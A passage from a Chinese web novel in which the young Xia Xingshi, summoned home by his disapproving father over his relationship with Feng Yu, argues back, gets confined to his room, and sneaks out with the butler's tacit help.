在床上厮混了一天夏星时服软了,文明社会还是应该好好穿衣服。
他的声音比早上起来时还要低,泛着一股子懒劲。
“什么?”封煜在给他的小星星按腰。
夏星时支起身体:“我爸应该是知道咱俩的事了,他要我回家。”
封煜摸腰,皱眉:“那个姓沈的太歹毒了。”
他一听就知道谁干的好事。这么耐不住性子,怪不得是败……咳,思路依赖了。
夏星时瞥了他一眼,居然微妙的猜到了封煜在想什么。
而脑电波对上的原因……
谁能想到平时那么沉默寡言的一个人,能在做的时候在他耳边叨叨叨个不停!
什么我才不会尝试把月亮拽下来,我只想捧着星星。
什么你就骗我我也爱你,你是全世界最重要的,你跟别人好也没关系,有空来找我就好。
一边拉踩别人,一边彰显自己,然后力道还很猛,咳。
冷着一张脸,看起来是个正经人,内心戏却丰富的不得了。
夏星时:“这时候就别总想着拉踩了。”
“想别的也没用,”封煜叹气,“叔叔不会同意我进门的。”
属于上一辈的恩怨从未落幕。
夏爸能接受老朋友的请求,照顾封煜这个后辈,但绝不可能把自己儿子交给封煜。
夏星时不乐意了,翻身压在封煜身上,“你什么意思,吃完打算不认账了是吧。”
“怎么会。”封煜把夏星时往上托了托,调整到一个舒服的姿势,继续给星星揉腰,“只是没必要跟家里作对。”
夏星时不想听他说话,起身要走,却又被封煜拉回来。
封煜无奈:“和男人在一起说出去本来就不好听,叔叔不同意才是正常的,更何况还是我。跟家里讲也无非是为了给我个名分,可名分又不重要,何必惹叔叔生气。”
“你跟家里关系那么好,闹僵了,你难过叔叔阿姨也伤心。”
“没关系的星时,我不要名分。”封煜轻吻夏星时,“你爱我就好。”
有些事不上秤就没事。只要封煜不要名分,那就是处地下恋情,说破天也就是夏星时年少叛逆,夏爸再不喜欢封煜也不会过度插手儿子的感情问题。
但要是带回家那就不一样。
“就跟叔叔说是玩玩。”封煜哪舍得夏星时为了他跟家里决裂。
“哪有这样的道理。”夏星时不吃他这套,往封煜胸口锤了一拳,“你还挺大度。”
夏少爷有自己的价值观,接受不了这种歪理。
封煜抓着夏星时的手亲了又亲。
夏星时抽回手又锤一拳:“恋爱脑不许霍乱军心!”
“而且你说的那像话吗,我跟老爸说玩玩他就信啊?迟早露馅,家里这关早晚要面对。”夏星时腰疼,又趴了下去。
封煜温声说:“对不起,我没想那么远。”
哪有什么迟早,星时年纪小,喜新厌旧很正常,万一以后不喜欢他了呢?那现在又何必跟家里闹。
得到一点喜欢他已经很满足了。
夏星时伸手捏住封煜脸,恶狠狠的说:“没想那么远?我看你是想的太远了!不许胡思乱想了!”
夏少爷极其霸道,连男朋友的思想都要操控。
封煜完全被可爱到了.
夏星时奉旨回家,不得逃避。
他到家的时候夏爸坐在大厅正中饮茶,一副拦路的架势。
“还知道回家,我当你在外面乐不思蜀了。”夏乘风轻哼一声。
夏星时无视老爸的阴阳怪气,一屁股坐在对面,给自己倒了杯茶:“确实。”
确实乐不思蜀。
夏乘风:……
“夏星时!你这次胡闹的是不是有点过分了!乱七八糟的关系赶紧给我断了!”夏爸啪的一下将茶杯砸在桌上,声调拔高,“你不跟他断,那就你腿断!”
京圈太上皇气势逼人,尤其还有父亲身份加成,夏星时的确被震慑到了。
但新晋恋爱脑不惧艰难险阻。
夏星时拿起茶壶给老爸添茶,“你看你,又急。”
“你非要在我热恋期的时候出来棒打鸳鸯,那结果能好么。极致的压迫只能带来绝对的反抗,这叫触底反弹。”
“本来我可能就是随便谈谈,你整这出,这段感情就从普通谈恋爱升华成对抗全世界,外部压力必定转化成感情的粘合剂啊。”
“你想想,全世界都抛弃我,但他愿意站在我身边,我还不爱死他?”
“爸,要是以后我们爱的要死要活,功劳你占六成。”
夏爸:……
啥玩意???
这不对。在夏爸的计划里,小儿子应该满口爱情然后抵死不屈,中间他需要他大手一挥展现身为父亲的权威,免不了他这个当爹的要动手胖揍儿子,最终一切定鼎。
但小儿子不按常理的出牌,让这位叱咤商界的男人再一次意识到自己的薄弱点。感情这玩意他果然把握不住。
一条川流不息的代购横跨在他和小儿子之间。
是我太古板跟不上潮流了?
夏乘风面露难色,额角流下两滴汗水,深感无力,白头发都愁的多了两根。
“叽里咕噜说啥呢!”夏爸猛拍桌面,茶水震动荡出,淋湿了桌面。
“你要是不断,这家门你也不用出了。”不管敌人如何变招,我依旧走传统流派!
八风不动,稳中求进。
夏星时:“行,我不出门,学校那边你给我请假哈。”
他拍拍手转身上楼。
夏爸看着小儿子的背影,感觉这崽子跟他憋着坏呢。
“老陆!叫人过来把夏星时那屋窗户封死。”夏乘风扯着嗓子喊,顿了顿接着说,“阳台也给我封上!”
夏星时一整天都没从自己屋里出来,他腰疼,需要缓缓。
游女士实在心疼儿子,“你非跟儿子置气,他晚上都没吃饭,饿坏了怎么办?”
夏爸:“不吃就是不饿,饿了自然就下来了。而且他那屋里一堆零食,饿不死。”
“星时不就谈个恋爱?你有什么可急的?再说了,孩子说的也不是没有道理。”游女士把水杯砸在桌上,“本来可能只是感觉来了,上头一段时间就淡了,你非要插手,加码、加沉没成本,到时候没感情了都舍不得分。而且星时已经长大了,你总这么管着他,孩子能没有逆反心理吗。”
夏爸:“不是,我管他啥了,我只是没惯着他吧。”
游女士:“小封不至于骗星时吧,低头不见抬头见的。”
游女士知道老公不是见不得星时谈男朋友,这辈子大风大浪都见过了,不至于被儿子性向吓到。这年头思想观念不开放也不行。
无非还是担心孩子吃亏嘛。
“他要是骗人我还不管了呢,让夏星时长长记性,别特么觉得世界上都是好人,那些人好是因为他姓夏!”夏爸深吸一口气,语气缓和下来,“我怕的是封煜来真的。”
夏爸眼底升起一丝忌惮:“我怕封煜跟他妈一个德行!”
游女士沉默了,叹了口气。
“明天我去院里看看周文歆。”游女士说。
夏爸不想搭茬。
这个名字,勾起他心底一个名为“恋爱脑”的原初恐惧。
“恋爱脑”这三个字,给当年年轻气盛初出茅庐的夏家太子爷带来了不可磨灭的痛苦经历。
在老爸老妈讨论育儿经的时候,夏星时刚刚吃完一份自热小火锅。
他当然不是不饿,他只是身体累,懒得动。
现在休养生息、吃饱喝足后,夏星时准备行动了。
看着被封死的窗户和阳台,夏星时只觉得老爸幼稚。
虽然他一开始的确是打算翻窗户。
毕竟上帝关上一扇门,总会为你打开一扇窗。可惜资本家又把窗户封死了。
夏星时拎着垃圾离开卧室,他没下楼反而继续向上,打开三楼的杂物间。
杂物间,屋如其名,都是杂物,不过并不乱,反而井然有序。夏星时穿过架子,找到后门。
打开后门,只见一个楼梯出现在眼前。
夏星时摇头:“百密一疏啊老爹。”
只能说这套房子老爸住的少了。
夏星时走下楼梯,撞见再花园cos园丁的陆管家。
“晚上好陆叔。”
陆管家笑眯眯:“少爷晚上好,摩托车已经加好油了。”
【“啪——”
李xx被这巴掌打蒙了。“爸,你打我?”
李老爷看着自己的手,似乎也有些愣神,但心中的怒火盖过理智。
“我打你怎么了!你为了男人要跟家里决裂!我今天要打断你腿!”】
冰冷的ai读书音让夏星时失去笑容。
夏星时:……
别暗示了陆叔,我马上跑。
陆管家:“父子没有说不开的事,你爸也是为了你好。”
按照陆管家的职业操守,他说这话有些越界。
但总不能真让这个自己看着长大的孩子吃苦吧?小少爷这辈子吃的最大的苦也只是因为蛀牙没吃到糖。
陆管家:“不管怎么说,这次你是为了他才跟家里闹了一遭,他要是什么都不做,你爸不会松口的。”
夏星时很想说自己没闹,他跟老爸是正经讲道理呢,老爸都快被他说服了。
而且封哥能做什么?上门提亲啊?《 》